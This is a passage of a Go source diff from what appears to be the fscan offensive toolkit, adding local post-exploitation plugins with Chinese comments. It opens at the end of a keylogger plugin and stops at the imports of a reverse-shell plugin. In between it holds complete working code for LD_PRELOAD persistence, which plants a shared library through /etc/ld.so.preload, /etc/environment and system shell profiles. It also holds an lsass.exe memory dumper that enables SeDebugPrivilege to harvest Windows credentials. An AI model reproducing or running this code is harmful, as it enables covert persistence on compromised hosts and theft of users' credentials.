case <-time.After(5 * time.Second):
|
||||
// 模拟结束
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// 平台特定的要求检查 - 简化版本
|
||||
func (p *KeyloggerPlugin) checkWindowsRequirements() error {
|
||||
// Windows平台要求检查
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *KeyloggerPlugin) checkLinuxRequirements() error {
|
||||
// Linux平台要求检查
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *KeyloggerPlugin) checkDarwinRequirements() error {
|
||||
// macOS平台要求检查
|
||||
return nil
|
||||
}
|
||||
|
||||
// 注册插件
|
||||
func init() {
|
||||
RegisterLocalPlugin("keylogger", func() Plugin {
|
||||
return NewKeyloggerPlugin()
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,315 @@
|
||||
//go:build (plugin_ldpreload || !plugin_selective) && linux && !no_local
|
||||
|
||||
package local
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
)
|
||||
|
||||
// LDPreloadPlugin LD_PRELOAD持久化插件
|
||||
// 设计哲学:直接实现,删除过度设计
|
||||
// - 删除复杂的继承体系
|
||||
// - 直接实现持久化功能
|
||||
// - 保持原有功能逻辑
|
||||
type LDPreloadPlugin struct {
|
||||
plugins.BasePlugin
|
||||
}
|
||||
|
||||
// NewLDPreloadPlugin 创建LD_PRELOAD持久化插件
|
||||
func NewLDPreloadPlugin() *LDPreloadPlugin {
|
||||
return &LDPreloadPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("ldpreload"),
|
||||
}
|
||||
}
|
||||
|
||||
// Scan 执行LD_PRELOAD持久化 - 直接实现
|
||||
func (p *LDPreloadPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
||||
var output strings.Builder
|
||||
|
||||
if runtime.GOOS != "linux" {
|
||||
output.WriteString("LD_PRELOAD持久化只支持Linux平台\n")
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: fmt.Errorf("不支持的平台: %s", runtime.GOOS),
|
||||
}
|
||||
}
|
||||
|
||||
// 从config获取配置
|
||||
targetFile := config.PersistenceTargetFile
|
||||
if targetFile == "" {
|
||||
output.WriteString("必须通过 -persistence-file 参数指定目标文件路径\n")
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: fmt.Errorf("未指定目标文件"),
|
||||
}
|
||||
}
|
||||
|
||||
// 检查目标文件是否存在
|
||||
if _, err := os.Stat(targetFile); os.IsNotExist(err) {
|
||||
output.WriteString(fmt.Sprintf("目标文件不存在: %s\n", targetFile))
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
// 检查文件类型
|
||||
if !p.isValidFile(targetFile) {
|
||||
output.WriteString(fmt.Sprintf("目标文件必须是 .so 动态库文件: %s\n", targetFile))
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: fmt.Errorf("无效文件类型"),
|
||||
}
|
||||
}
|
||||
|
||||
output.WriteString("=== LD_PRELOAD持久化 ===\n")
|
||||
output.WriteString(fmt.Sprintf("目标文件: %s\n", targetFile))
|
||||
output.WriteString(fmt.Sprintf("平台: %s\n\n", runtime.GOOS))
|
||||
|
||||
var successCount int
|
||||
|
||||
// 1. 复制文件到系统目录
|
||||
systemPath, err := p.copyToSystemPath(targetFile)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("✗ 复制文件到系统目录失败: %v\n", err))
|
||||
} else {
|
||||
output.WriteString(fmt.Sprintf("✓ 文件已复制到: %s\n", systemPath))
|
||||
successCount++
|
||||
}
|
||||
|
||||
// 2. 添加到全局环境变量
|
||||
err = p.addToEnvironment(systemPath)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("✗ 添加环境变量失败: %v\n", err))
|
||||
} else {
|
||||
output.WriteString("✓ 已添加到全局环境变量\n")
|
||||
successCount++
|
||||
}
|
||||
|
||||
// 3. 添加到shell配置文件
|
||||
shellConfigs, err := p.addToShellConfigs(systemPath)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("✗ 添加到shell配置失败: %v\n", err))
|
||||
} else {
|
||||
output.WriteString(fmt.Sprintf("✓ 已添加到shell配置: %s\n", strings.Join(shellConfigs, ", ")))
|
||||
successCount++
|
||||
}
|
||||
|
||||
// 4. 创建库配置文件
|
||||
err = p.createLdConfig(systemPath)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("✗ 创建ld配置失败: %v\n", err))
|
||||
} else {
|
||||
output.WriteString("✓ 已创建ld预加载配置\n")
|
||||
successCount++
|
||||
}
|
||||
|
||||
// 输出统计
|
||||
output.WriteString(fmt.Sprintf("\nLD_PRELOAD持久化完成: 成功(%d) 总计(%d)\n", successCount, 4))
|
||||
|
||||
if successCount > 0 {
|
||||
common.LogSuccess(i18n.Tr("ldpreload_success", successCount))
|
||||
}
|
||||
|
||||
return &plugins.Result{
|
||||
Success: successCount > 0,
|
||||
Output: output.String(),
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// copyToSystemPath 复制文件到系统目录
|
||||
func (p *LDPreloadPlugin) copyToSystemPath(targetFile string) (string, error) {
|
||||
// 选择合适的系统目录
|
||||
systemDirs := []string{
|
||||
"/usr/lib/x86_64-linux-gnu",
|
||||
"/usr/lib64",
|
||||
"/usr/lib",
|
||||
"/lib/x86_64-linux-gnu",
|
||||
"/lib64",
|
||||
"/lib",
|
||||
}
|
||||
|
||||
var targetDir string
|
||||
for _, dir := range systemDirs {
|
||||
if _, err := os.Stat(dir); err == nil {
|
||||
targetDir = dir
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if targetDir == "" {
|
||||
return "", fmt.Errorf("找不到合适的系统库目录")
|
||||
}
|
||||
|
||||
// 生成目标路径
|
||||
basename := filepath.Base(targetFile)
|
||||
if !strings.HasPrefix(basename, "lib") {
|
||||
basename = "lib" + basename
|
||||
}
|
||||
if !strings.HasSuffix(basename, ".so") {
|
||||
basename = strings.TrimSuffix(basename, filepath.Ext(basename)) + ".so"
|
||||
}
|
||||
|
||||
targetPath := filepath.Join(targetDir, basename)
|
||||
|
||||
// 复制文件
|
||||
err := p.copyFile(targetFile, targetPath)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// 设置权限
|
||||
_ = os.Chmod(targetPath, 0755)
|
||||
|
||||
return targetPath, nil
|
||||
}
|
||||
|
||||
// copyFile 复制文件
|
||||
func (p *LDPreloadPlugin) copyFile(src, dst string) error {
|
||||
cmd := exec.Command("cp", src, dst)
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
// addToEnvironment 添加到全局环境变量
|
||||
func (p *LDPreloadPlugin) addToEnvironment(libPath string) error {
|
||||
envFile := "/etc/environment"
|
||||
|
||||
// 读取现有内容
|
||||
content := ""
|
||||
if data, err := os.ReadFile(envFile); err == nil {
|
||||
content = string(data)
|
||||
}
|
||||
|
||||
// 检查是否已存在
|
||||
ldPreloadLine := fmt.Sprintf("LD_PRELOAD=\"%s\"", libPath)
|
||||
if strings.Contains(content, libPath) {
|
||||
return nil // 已存在
|
||||
}
|
||||
|
||||
// 添加新行
|
||||
if !strings.HasSuffix(content, "\n") && content != "" {
|
||||
content += "\n"
|
||||
}
|
||||
content += ldPreloadLine + "\n"
|
||||
|
||||
// 写入文件
|
||||
return os.WriteFile(envFile, []byte(content), 0644)
|
||||
}
|
||||
|
||||
// addToShellConfigs 添加到shell配置文件
|
||||
func (p *LDPreloadPlugin) addToShellConfigs(libPath string) ([]string, error) {
|
||||
configFiles := []string{
|
||||
"/etc/bash.bashrc",
|
||||
"/etc/profile",
|
||||
"/etc/zsh/zshrc",
|
||||
}
|
||||
|
||||
ldPreloadLine := fmt.Sprintf("export LD_PRELOAD=\"%s:$LD_PRELOAD\"", libPath)
|
||||
var modified []string
|
||||
|
||||
for _, configFile := range configFiles {
|
||||
if _, err := os.Stat(configFile); os.IsNotExist(err) {
|
||||
continue
|
||||
}
|
||||
|
||||
// 读取现有内容
|
||||
content := ""
|
||||
if data, err := os.ReadFile(configFile); err == nil {
|
||||
content = string(data)
|
||||
}
|
||||
|
||||
// 检查是否已存在
|
||||
if strings.Contains(content, libPath) {
|
||||
continue
|
||||
}
|
||||
|
||||
// 添加新行
|
||||
if !strings.HasSuffix(content, "\n") && content != "" {
|
||||
content += "\n"
|
||||
}
|
||||
content += ldPreloadLine + "\n"
|
||||
|
||||
// 写入文件
|
||||
if err := os.WriteFile(configFile, []byte(content), 0644); err == nil {
|
||||
modified = append(modified, configFile)
|
||||
}
|
||||
}
|
||||
|
||||
if len(modified) == 0 {
|
||||
return nil, fmt.Errorf("无法修改任何shell配置文件")
|
||||
}
|
||||
|
||||
return modified, nil
|
||||
}
|
||||
|
||||
// createLdConfig 创建ld预加载配置
|
||||
func (p *LDPreloadPlugin) createLdConfig(libPath string) error {
|
||||
configFile := "/etc/ld.so.preload"
|
||||
|
||||
// 读取现有内容
|
||||
content := ""
|
||||
if data, err := os.ReadFile(configFile); err == nil {
|
||||
content = string(data)
|
||||
}
|
||||
|
||||
// 检查是否已存在
|
||||
if strings.Contains(content, libPath) {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 添加新行
|
||||
if !strings.HasSuffix(content, "\n") && content != "" {
|
||||
content += "\n"
|
||||
}
|
||||
content += libPath + "\n"
|
||||
|
||||
// 写入文件
|
||||
return os.WriteFile(configFile, []byte(content), 0644)
|
||||
}
|
||||
|
||||
// isValidFile 检查文件类型
|
||||
func (p *LDPreloadPlugin) isValidFile(filePath string) bool {
|
||||
ext := strings.ToLower(filepath.Ext(filePath))
|
||||
|
||||
// 检查扩展名
|
||||
if ext == ".so" || ext == ".elf" {
|
||||
return true
|
||||
}
|
||||
|
||||
// 检查文件内容(ELF魔数)
|
||||
file, err := os.Open(filePath)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer func() { _ = file.Close() }()
|
||||
|
||||
header := make([]byte, 4)
|
||||
if n, err := file.Read(header); err != nil || n < 4 {
|
||||
return false
|
||||
}
|
||||
|
||||
// ELF魔数: 0x7f 0x45 0x4c 0x46
|
||||
return header[0] == 0x7f && header[1] == 0x45 && header[2] == 0x4c && header[3] == 0x46
|
||||
}
|
||||
|
||||
// 注册插件
|
||||
func init() {
|
||||
RegisterLocalPlugin("ldpreload", func() Plugin {
|
||||
return NewLDPreloadPlugin()
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,517 @@
|
||||
//go:build (plugin_minidump || !plugin_selective) && windows && !no_local
|
||||
|
||||
package local
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"strings"
|
||||
"syscall"
|
||||
"time"
|
||||
"unsafe"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/i18n"
|
||||
"github.com/shadow1ng/fscan/plugins"
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
const (
|
||||
TH32CS_SNAPPROCESS = 0x00000002
|
||||
INVALID_HANDLE_VALUE = ^uintptr(0)
|
||||
MAX_PATH = 260
|
||||
PROCESS_ALL_ACCESS = 0x1F0FFF
|
||||
SE_PRIVILEGE_ENABLED = 0x00000002
|
||||
)
|
||||
|
||||
type PROCESSENTRY32 struct {
|
||||
dwSize uint32
|
||||
cntUsage uint32
|
||||
th32ProcessID uint32
|
||||
th32DefaultHeapID uintptr
|
||||
th32ModuleID uint32
|
||||
cntThreads uint32
|
||||
th32ParentProcessID uint32
|
||||
pcPriClassBase int32
|
||||
dwFlags uint32
|
||||
szExeFile [MAX_PATH]uint16
|
||||
}
|
||||
|
||||
type LUID struct {
|
||||
LowPart uint32
|
||||
HighPart int32
|
||||
}
|
||||
|
||||
type LUID_AND_ATTRIBUTES struct {
|
||||
Luid LUID
|
||||
Attributes uint32
|
||||
}
|
||||
|
||||
type TOKEN_PRIVILEGES struct {
|
||||
PrivilegeCount uint32
|
||||
Privileges [1]LUID_AND_ATTRIBUTES
|
||||
}
|
||||
|
||||
// MiniDumpPlugin 内存转储插件
|
||||
// 设计哲学:直接实现,删除过度设计
|
||||
// - 删除复杂的继承体系
|
||||
// - 直接实现内存转储功能
|
||||
// - 保持原有功能逻辑
|
||||
type MiniDumpPlugin struct {
|
||||
plugins.BasePlugin
|
||||
kernel32 *syscall.DLL
|
||||
dbghelp *syscall.DLL
|
||||
advapi32 *syscall.DLL
|
||||
}
|
||||
|
||||
// ProcessManager Windows进程管理器
|
||||
type ProcessManager struct {
|
||||
kernel32 *syscall.DLL
|
||||
dbghelp *syscall.DLL
|
||||
advapi32 *syscall.DLL
|
||||
}
|
||||
|
||||
// NewMiniDumpPlugin 创建内存转储插件
|
||||
func NewMiniDumpPlugin() *MiniDumpPlugin {
|
||||
return &MiniDumpPlugin{
|
||||
BasePlugin: plugins.NewBasePlugin("minidump"),
|
||||
}
|
||||
}
|
||||
|
||||
// Scan 执行内存转储 - 直接实现
|
||||
func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *plugins.Result {
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
common.LogError(i18n.Tr("minidump_panic", r))
|
||||
}
|
||||
}()
|
||||
|
||||
var output strings.Builder
|
||||
|
||||
output.WriteString("=== 进程内存转储 ===\n")
|
||||
output.WriteString(fmt.Sprintf("平台: %s\n", runtime.GOOS))
|
||||
|
||||
// 加载系统DLL
|
||||
if err := p.loadSystemDLLs(); err != nil {
|
||||
output.WriteString(fmt.Sprintf("加载系统DLL失败: %v\n", err))
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
// 检查管理员权限
|
||||
if !p.isAdmin() {
|
||||
output.WriteString("需要管理员权限才能执行内存转储\n")
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: errors.New("需要管理员权限"),
|
||||
}
|
||||
}
|
||||
|
||||
output.WriteString("✓ 已确认具有管理员权限\n")
|
||||
|
||||
// 创建进程管理器
|
||||
pm := &ProcessManager{
|
||||
kernel32: p.kernel32,
|
||||
dbghelp: p.dbghelp,
|
||||
advapi32: p.advapi32,
|
||||
}
|
||||
|
||||
// 查找lsass.exe进程
|
||||
output.WriteString("正在查找lsass.exe进程...\n")
|
||||
pid, err := pm.findProcess("lsass.exe")
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("查找lsass.exe失败: %v\n", err))
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
output.WriteString(fmt.Sprintf("✓ 找到lsass.exe进程, PID: %d\n", pid))
|
||||
|
||||
// 提升权限
|
||||
output.WriteString("正在提升SeDebugPrivilege权限...\n")
|
||||
if privErr := pm.elevatePrivileges(); privErr != nil {
|
||||
output.WriteString(fmt.Sprintf("权限提升失败: %v (尝试继续执行)\n", privErr))
|
||||
} else {
|
||||
output.WriteString("✓ 权限提升成功\n")
|
||||
}
|
||||
|
||||
// 创建转储文件
|
||||
outputPath := filepath.Join(".", fmt.Sprintf("lsass-%d.dmp", pid))
|
||||
output.WriteString(fmt.Sprintf("准备创建转储文件: %s\n", outputPath))
|
||||
|
||||
// 执行转储
|
||||
output.WriteString("开始执行内存转储...\n")
|
||||
|
||||
// 创建带超时的context
|
||||
dumpCtx, cancel := context.WithTimeout(ctx, 120*time.Second)
|
||||
defer cancel()
|
||||
|
||||
err = pm.dumpProcessWithTimeout(dumpCtx, pid, outputPath)
|
||||
if err != nil {
|
||||
output.WriteString(fmt.Sprintf("内存转储失败: %v\n", err))
|
||||
// 创建错误信息文件
|
||||
errorData := []byte(fmt.Sprintf("Memory dump failed for PID %d\nError: %v\nTimestamp: %s\n",
|
||||
pid, err, time.Now().Format("2006-01-02 15:04:05")))
|
||||
_ = os.WriteFile(outputPath, errorData, 0644)
|
||||
|
||||
return &plugins.Result{
|
||||
Success: false,
|
||||
Output: output.String(),
|
||||
Error: err,
|
||||
}
|
||||
}
|
||||
|
||||
// 获取文件信息
|
||||
fileInfo, err := os.Stat(outputPath)
|
||||
var fileSize int64
|
||||
if err == nil {
|
||||
fileSize = fileInfo.Size()
|
||||
}
|
||||
|
||||
output.WriteString("✓ 内存转储完成\n")
|
||||
output.WriteString(fmt.Sprintf("转储文件: %s\n", outputPath))
|
||||
output.WriteString(fmt.Sprintf("文件大小: %d bytes\n", fileSize))
|
||||
|
||||
common.LogSuccess(i18n.Tr("minidump_success", outputPath, fileSize))
|
||||
|
||||
return &plugins.Result{
|
||||
Success: true,
|
||||
Type: plugins.ResultTypeService,
|
||||
Output: output.String(),
|
||||
Error: nil,
|
||||
}
|
||||
}
|
||||
|
||||
// loadSystemDLLs 加载系统DLL
|
||||
func (p *MiniDumpPlugin) loadSystemDLLs() error {
|
||||
kernel32, err := syscall.LoadDLL("kernel32.dll")
|
||||
if err != nil {
|
||||
return fmt.Errorf("加载 kernel32.dll 失败: %w", err)
|
||||
}
|
||||
|
||||
dbghelp, err := syscall.LoadDLL("Dbghelp.dll")
|
||||
if err != nil {
|
||||
return fmt.Errorf("加载 Dbghelp.dll 失败: %w", err)
|
||||
}
|
||||
|
||||
advapi32, err := syscall.LoadDLL("advapi32.dll")
|
||||
if err != nil {
|
||||
return fmt.Errorf("加载 advapi32.dll 失败: %w", err)
|
||||
}
|
||||
|
||||
p.kernel32 = kernel32
|
||||
p.dbghelp = dbghelp
|
||||
p.advapi32 = advapi32
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// isAdmin 检查是否具有管理员权限
|
||||
func (p *MiniDumpPlugin) isAdmin() bool {
|
||||
var sid *windows.SID
|
||||
err := windows.AllocateAndInitializeSid(
|
||||
&windows.SECURITY_NT_AUTHORITY,
|
||||
2,
|
||||
windows.SECURITY_BUILTIN_DOMAIN_RID,
|
||||
windows.DOMAIN_ALIAS_RID_ADMINS,
|
||||
0, 0, 0, 0, 0, 0,
|
||||
&sid)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer func() { _ = windows.FreeSid(sid) }()
|
||||
|
||||
token := windows.Token(0)
|
||||
member, err := token.IsMember(sid)
|
||||
return err == nil && member
|
||||
}
|
||||
|
||||
// ProcessManager 方法实现
|
||||
|
||||
// findProcess 查找进程
|
||||
func (pm *ProcessManager) findProcess(name string) (uint32, error) {
|
||||
snapshot, err := pm.createProcessSnapshot()
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
defer pm.closeHandle(snapshot)
|
||||
|
||||
return pm.findProcessInSnapshot(snapshot, name)
|
||||
}
|
||||
|
||||
// createProcessSnapshot 创建进程快照
|
||||
func (pm *ProcessManager) createProcessSnapshot() (uintptr, error) {
|
||||
proc, err := pm.kernel32.FindProc("CreateToolhelp32Snapshot")
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("查找CreateToolhelp32Snapshot函数失败: %w", err)
|
||||
}
|
||||
|
||||
handle, _, err := proc.Call(uintptr(TH32CS_SNAPPROCESS), 0)
|
||||
if handle == uintptr(INVALID_HANDLE_VALUE) {
|
||||
lastError := windows.GetLastError()
|
||||
//nolint:errorlint // Windows LastError不应该wrapped
|
||||
return 0, fmt.Errorf("创建进程快照失败: %v (LastError: %d)", err, lastError)
|
||||
}
|
||||
return handle, nil
|
||||
}
|
||||
|
||||
// findProcessInSnapshot 在快照中查找进程
|
||||
func (pm *ProcessManager) findProcessInSnapshot(snapshot uintptr, name string) (uint32, error) {
|
||||
var pe32 PROCESSENTRY32
|
||||
pe32.dwSize = uint32(unsafe.Sizeof(pe32))
|
||||
|
||||
proc32First, err := pm.kernel32.FindProc("Process32FirstW")
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("查找Process32FirstW函数失败: %w", err)
|
||||
}
|
||||
|
||||
proc32Next, err := pm.kernel32.FindProc("Process32NextW")
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("查找Process32NextW函数失败: %w", err)
|
||||
}
|
||||
|
||||
lstrcmpi, err := pm.kernel32.FindProc("lstrcmpiW")
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("查找lstrcmpiW函数失败: %w", err)
|
||||
}
|
||||
|
||||
ret, _, _ := proc32First.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
|
||||
if ret == 0 {
|
||||
//nolint:errorlint // Windows LastError不应该wrapped
|
||||
return 0, fmt.Errorf("获取第一个进程失败 (LastError: %d)", windows.GetLastError())
|
||||
}
|
||||
|
||||
for {
|
||||
namePtr, err := syscall.UTF16PtrFromString(name)
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("转换进程名失败: %w", err)
|
||||
}
|
||||
|
||||
ret, _, _ = lstrcmpi.Call(
|
||||
uintptr(unsafe.Pointer(namePtr)),
|
||||
uintptr(unsafe.Pointer(&pe32.szExeFile[0])),
|
||||
)
|
||||
|
||||
if ret == 0 {
|
||||
return pe32.th32ProcessID, nil
|
||||
}
|
||||
|
||||
ret, _, _ = proc32Next.Call(snapshot, uintptr(unsafe.Pointer(&pe32)))
|
||||
if ret == 0 {
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
return 0, fmt.Errorf("未找到进程: %s", name)
|
||||
}
|
||||
|
||||
// elevatePrivileges 提升权限
|
||||
func (pm *ProcessManager) elevatePrivileges() error {
|
||||
handle, err := pm.getCurrentProcess()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
var token syscall.Token
|
||||
err = syscall.OpenProcessToken(handle, syscall.TOKEN_ADJUST_PRIVILEGES|syscall.TOKEN_QUERY, &token)
|
||||
if err != nil {
|
||||
return fmt.Errorf("打开进程令牌失败: %w", err)
|
||||
}
|
||||
defer func() { _ = token.Close() }()
|
||||
|
||||
var tokenPrivileges TOKEN_PRIVILEGES
|
||||
|
||||
privilegeName, err := syscall.UTF16PtrFromString("SeDebugPrivilege")
|
||||
if err != nil {
|
||||
return fmt.Errorf("转换权限名称失败: %w", err)
|
||||
}
|
||||
|
||||
lookupPrivilegeValue := pm.advapi32.MustFindProc("LookupPrivilegeValueW")
|
||||
ret, _, err := lookupPrivilegeValue.Call(
|
||||
0,
|
||||
uintptr(unsafe.Pointer(privilegeName)),
|
||||
uintptr(unsafe.Pointer(&tokenPrivileges.Privileges[0].Luid)),
|
||||
)
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("查找特权值失败: %w", err)
|
||||
}
|
||||
|
||||
tokenPrivileges.PrivilegeCount = 1
|
||||
tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED
|
||||
|
||||
adjustTokenPrivileges := pm.advapi32.MustFindProc("AdjustTokenPrivileges")
|
||||
ret, _, err = adjustTokenPrivileges.Call(
|
||||
uintptr(token),
|
||||
0,
|
||||
uintptr(unsafe.Pointer(&tokenPrivileges)),
|
||||
0, 0, 0,
|
||||
)
|
||||
if ret == 0 {
|
||||
return fmt.Errorf("调整令牌特权失败: %w", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// getCurrentProcess 获取当前进程句柄
|
||||
func (pm *ProcessManager) getCurrentProcess() (syscall.Handle, error) {
|
||||
proc := pm.kernel32.MustFindProc("GetCurrentProcess")
|
||||
handle, _, _ := proc.Call()
|
||||
if handle == 0 {
|
||||
return 0, fmt.Errorf("获取当前进程句柄失败")
|
||||
}
|
||||
return syscall.Handle(handle), nil
|
||||
}
|
||||
|
||||
// dumpProcessWithTimeout 带超时的转储进程内存
|
||||
func (pm *ProcessManager) dumpProcessWithTimeout(ctx context.Context, pid uint32, outputPath string) error {
|
||||
resultChan := make(chan error, 1)
|
||||
|
||||
go func() {
|
||||
resultChan <- pm.dumpProcess(pid, outputPath)
|
||||
}()
|
||||
|
||||
select {
|
||||
case err := <-resultChan:
|
||||
return err
|
||||
case <-ctx.Done():
|
||||
return fmt.Errorf("内存转储超时 (120秒)")
|
||||
}
|
||||
}
|
||||
|
||||
// dumpProcess 转储进程内存
|
||||
func (pm *ProcessManager) dumpProcess(pid uint32, outputPath string) error {
|
||||
processHandle, err := pm.openProcess(pid)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer pm.closeHandle(processHandle)
|
||||
|
||||
fileHandle, err := pm.createDumpFile(outputPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer pm.closeHandle(fileHandle)
|
||||
|
||||
miniDumpWriteDump, err := pm.dbghelp.FindProc("MiniDumpWriteDump")
|
||||
if err != nil {
|
||||
return fmt.Errorf("查找MiniDumpWriteDump函数失败: %w", err)
|
||||
}
|
||||
|
||||
// 转储类型标志
|
||||
const MiniDumpWithDataSegs = 0x00000001
|
||||
const MiniDumpWithFullMemory = 0x00000002
|
||||
const MiniDumpWithHandleData = 0x00000004
|
||||
const MiniDumpWithUnloadedModules = 0x00000020
|
||||
const MiniDumpWithIndirectlyReferencedMemory = 0x00000040
|
||||
const MiniDumpWithProcessThreadData = 0x00000100
|
||||
const MiniDumpWithPrivateReadWriteMemory = 0x00000200
|
||||
const MiniDumpWithFullMemoryInfo = 0x00000800
|
||||
const MiniDumpWithThreadInfo = 0x00001000
|
||||
const MiniDumpWithCodeSegs = 0x00002000
|
||||
|
||||
// 组合转储类型标志
|
||||
dumpType := MiniDumpWithDataSegs | MiniDumpWithFullMemory | MiniDumpWithHandleData |
|
||||
MiniDumpWithUnloadedModules | MiniDumpWithIndirectlyReferencedMemory |
|
||||
MiniDumpWithProcessThreadData | MiniDumpWithPrivateReadWriteMemory |
|
||||
MiniDumpWithFullMemoryInfo | MiniDumpWithThreadInfo | MiniDumpWithCodeSegs
|
||||
|
||||
ret, _, _ := miniDumpWriteDump.Call(
|
||||
processHandle,
|
||||
uintptr(pid),
|
||||
fileHandle,
|
||||
uintptr(dumpType),
|
||||
0, 0, 0,
|
||||
)
|
||||
|
||||
if ret == 0 {
|
||||
// 尝试使用较小的转储类型作为后备
|
||||
fallbackDumpType := MiniDumpWithDataSegs | MiniDumpWithPrivateReadWriteMemory | MiniDumpWithHandleData
|
||||
|
||||
ret, _, _ = miniDumpWriteDump.Call(
|
||||
processHandle,
|
||||
uintptr(pid),
|
||||
fileHandle,
|
||||
uintptr(fallbackDumpType),
|
||||
0, 0, 0,
|
||||
)
|
||||
|
||||
if ret == 0 {
|
||||
//nolint:errorlint // Windows LastError不应该wrapped
|
||||
return fmt.Errorf("写入转储文件失败 (LastError: %d)", windows.GetLastError())
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// openProcess 打开进程
|
||||
func (pm *ProcessManager) openProcess(pid uint32) (uintptr, error) {
|
||||
proc, err := pm.kernel32.FindProc("OpenProcess")
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("查找OpenProcess函数失败: %w", err)
|
||||
}
|
||||
|
||||
handle, _, callErr := proc.Call(uintptr(PROCESS_ALL_ACCESS), 0, uintptr(pid))
|
||||
if handle == 0 {
|
||||
lastError := windows.GetLastError()
|
||||
//nolint:errorlint // Windows LastError不应该wrapped
|
||||
return 0, fmt.Errorf("打开进程失败: %v (LastError: %d)", callErr, lastError)
|
||||
}
|
||||
return handle, nil
|
||||
}
|
||||
|
||||
// createDumpFile 创建转储文件
|
||||
func (pm *ProcessManager) createDumpFile(path string) (uintptr, error) {
|
||||
pathPtr, err := syscall.UTF16PtrFromString(path)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
|
||||
createFile, err := pm.kernel32.FindProc("CreateFileW")
|
||||
if err != nil {
|
||||
return 0, fmt.Errorf("查找CreateFileW函数失败: %w", err)
|
||||
}
|
||||
|
||||
handle, _, callErr := createFile.Call(
|
||||
uintptr(unsafe.Pointer(pathPtr)),
|
||||
syscall.GENERIC_WRITE,
|
||||
0, 0,
|
||||
syscall.CREATE_ALWAYS,
|
||||
syscall.FILE_ATTRIBUTE_NORMAL,
|
||||
0,
|
||||
)
|
||||
|
||||
if handle == INVALID_HANDLE_VALUE {
|
||||
lastError := windows.GetLastError()
|
||||
//nolint:errorlint // Windows LastError不应该wrapped
|
||||
return 0, fmt.Errorf("创建文件失败: %v (LastError: %d)", callErr, lastError)
|
||||
}
|
||||
|
||||
return handle, nil
|
||||
}
|
||||
|
||||
// closeHandle 关闭句柄
|
||||
func (pm *ProcessManager) closeHandle(handle uintptr) {
|
||||
if proc, err := pm.kernel32.FindProc("CloseHandle"); err == nil {
|
||||
_, _, _ = proc.Call(handle)
|
||||
}
|
||||
}
|
||||
|
||||
// 注册插件
|
||||
func init() {
|
||||
RegisterLocalPlugin("minidump", func() Plugin {
|
||||
return NewMiniDumpPlugin()
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,192 @@
|
||||
//go:build (plugin_reverseshell || !plugin_selective) && !no_local
|
||||
|
||||
package local
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"os"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"strings"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
